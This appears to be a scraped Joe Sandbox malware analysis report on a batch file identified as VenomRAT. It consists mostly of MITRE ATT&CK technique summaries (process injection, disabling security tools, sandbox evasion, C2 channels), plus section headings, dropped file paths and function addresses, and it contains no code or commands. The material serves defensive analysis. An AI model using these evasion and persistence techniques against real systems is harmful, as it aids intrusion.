Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gqub.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VenomRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\RESDC68.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2be0pw23.oxp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uodth2aj.zms.psm1

C:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP

C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.0.cs

C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline

Windows Analysis Report
gqub.bat

Function 00007FFD348B5F90 Relevance: 3.9, Strings: 2, Instructions: 1365
COMMON

Function 00007FFD348BBA99 Relevance: 1.8, Strings: 1, Instructions: 540
COMMON

Function 00007FFD348BC6F9 Relevance: 1.7, APIs: 1, Instructions: 230
COMMON

Function 00007FFD348BC809 Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Function 00007FFD3498055D Relevance: .7, Instructions: 652
COMMON

Function 00007FFD34984D49 Relevance: .1, Instructions: 74
COMMON

Function 00007FFD34981E48 Relevance: .0, Instructions: 30
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre